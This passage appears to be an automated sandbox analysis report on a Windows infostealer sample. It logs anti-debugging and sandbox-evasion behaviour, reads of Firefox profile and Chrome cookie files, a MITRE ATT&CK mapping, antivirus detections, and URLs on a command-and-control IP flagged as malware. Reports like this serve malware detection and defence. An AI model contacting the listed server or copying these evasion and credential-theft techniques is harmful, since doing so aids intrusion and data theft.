Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 4012	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 6092	Thread sleep count: 125 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 6092	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 6092	Thread sleep count: 202 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 6092	Thread sleep time: -36000000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 6092	Thread sleep count: 785 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5872	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5884	Thread sleep count: 1145 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5884	Thread sleep count: 630 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5884	Thread sleep count: 923 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5884	Thread sleep time: -36000000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 2756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5856	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5856	Thread sleep count: 622 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5856	Thread sleep count: 151 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5856	Thread sleep time: -18000000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe TID: 5856	Thread sleep count: 63 > 30	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Window / User API: threadDelayed 785	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Window / User API: threadDelayed 1145	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Window / User API: threadDelayed 630	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Window / User API: threadDelayed 923	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Window / User API: threadDelayed 622	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread delayed: delay time: 18000000	Jump to behavior

Source: d.0.dr	Binary or memory string: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220910T005954Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=91e7712100844e1ca62e0cbfe19a171d&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1650392&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1650392&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=
Source: d.0.dr	Binary or memory string: https://arc.msn.com/v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220816T223724Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ceb15ffdf4e946f09664f273a961106d&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1650392&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1650392&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\tmp.edb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\tmp.edb VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d.jfm VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	Queries volume information: C:\Users\user\Desktop\d VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.30674.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	141 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	122 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Malware-gen.30674.exe	48%	ReversingLabs	Win32.Infostealer.Passteal
SecuriteInfo.com.Win32.Malware-gen.30674.exe	48%	Virustotal		Browse
SecuriteInfo.com.Win32.Malware-gen.30674.exe	100%	Avira	HEUR/AGEN.1248974
SecuriteInfo.com.Win32.Malware-gen.30674.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe	100%	Avira	HEUR/AGEN.1248974
C:\Users\user\Documents\VlcpVideoV1.0.1\SecuriteInfo.com.Win32.Malware-gen.30674.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
8.0.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1248974	Download File
8.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237445	Download File
3.0.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1248974	Download File
0.0.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1248974	Download File
3.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237445	Download File
0.2.SecuriteInfo.com.Win32.Malware-gen.30674.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1237445	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1	0%	URL Reputation	safe
https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js	0%	URL Reputation	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjVhZWEwOTA0MmYxYzJjMDRlMmU1NDg1YzZmNjY2NTU5N2E5N	0%	URL Reputation	safe
http://103.136.42.153/d	100%	Avira URL Cloud	malware
http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674	100%	Avira URL Cloud	malware
http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674~	100%	Avira URL Cloud	malware
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://pki.goog/gsr2/GTSGIAG3.crt0)	0%	URL Reputation	safe
https://img-prod-cms-rt-microsoft-com.akamaize	0%	Avira URL Cloud	safe
http://103.136.42.153/seemorebty/poe.php?e=	100%	Avira URL Cloud	malware
http://pki.goog/gsr2/GTS1O1.crt0#	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingth	0%	URL Reputation	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImE2Y2FkYjk5YjFhZTM3OGRiYjNlYjY3YzUxMTk0YzRkM2ViZ	0%	Avira URL Cloud	safe
http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.306744d	100%	Avira URL Cloud	malware
http://images.outbrainimg.com/transform/v3/eyJpdSI6ImQ1Y2M3ZjUxNTk0ZjI1ZWI5NjQxNjllMjcxMDliYzA5MWY4N	0%	Avira URL Cloud	safe
http://103.136.42.153/	100%	Avira URL Cloud	malware
http://103.136.42.153:80/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674e	100%	Avira URL Cloud	malware
http://103.136.42.153/seemorebty/	100%	Avira URL Cloud	malware
http://103.136.42.153	100%	Avira URL Cloud	malware
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjM1OWYyYmUyYWEzNmM5ZGIxOWNkODJhMjgxMTNiZjk2MDliN	0%	Avira URL Cloud	safe
http://images.outbrainimg.com/transform/v3/eyJpdSI6IjAxMmRiZGQ2ZTMxY2I0MTYxNmZjOWNjNjExZDU3MzhiY2UwN	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
star-mini.c10r.facebook.com	157.240.236.35	true	false		high
www.facebook.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674	true	Avira URL Cloud: malware	unknown
http://103.136.42.153/seemorebty/il.php?e=SecuriteInfo.com.Win32.Malware-gen.30674	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate	d.0.dr	false		high
https://www.google.com/chrome/static/images/folder-applications.svg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://googleads.g.doubleclick.net/pagead/drt/s?v=r20120211	d.0.dr	false		high
http://b1t-use2.zemanta.com/t/imp/impression/FZV2QWU7KWGCXF6REQZNFCRJIZ4GXAXBRWOOIKPCGXHSIEOKHUJBTWL	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330038482.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.333295635.00000000052A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338271728.0000000005151000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335649928.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335608702.00000000052A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484130863.0000000005D40000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498555676.0000000006569000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
https://googleads.g.doubleclick.net/pagead/html/r20190624/r20190131/zrt_lookup.html	d.0.dr	false		high
http://103.136.42.153/d	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000003.398060817.0000000003333000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://cvision.media.net/new/286x175/2/75/95/36/612b163a-ff7b-498a-bad2-3c52bbd2c504.jpg?v=9	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335257812.0000000005341000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329745399.0000000005340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335295839.0000000005348000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357253659.0000000004340000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483708298.0000000005DE0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502019566.0000000005F18000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153/seemorebty/il.php?e=securiteinfo.com.win32.malware-gen.30674~	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.524451129.00000000032D0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.346751281.0000000006191000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.504668673.0000000006701000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.488511245.0000000004450000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	false		high
http://103.136.42.153/seemorebty/poe.php?e=	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000002.510876847.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000003.00000002.510744643.0000000000401000.00000040.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.511032260.0000000000401000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: malware	unknown
http://www.msn.com	d.0.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293479827.00000000044A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.358164856.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345318581.0000000005C31000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502891434.0000000006611000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495669681.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.503482607.0000000006630000.00000004.00000800.00020000.00000000.sdmp, 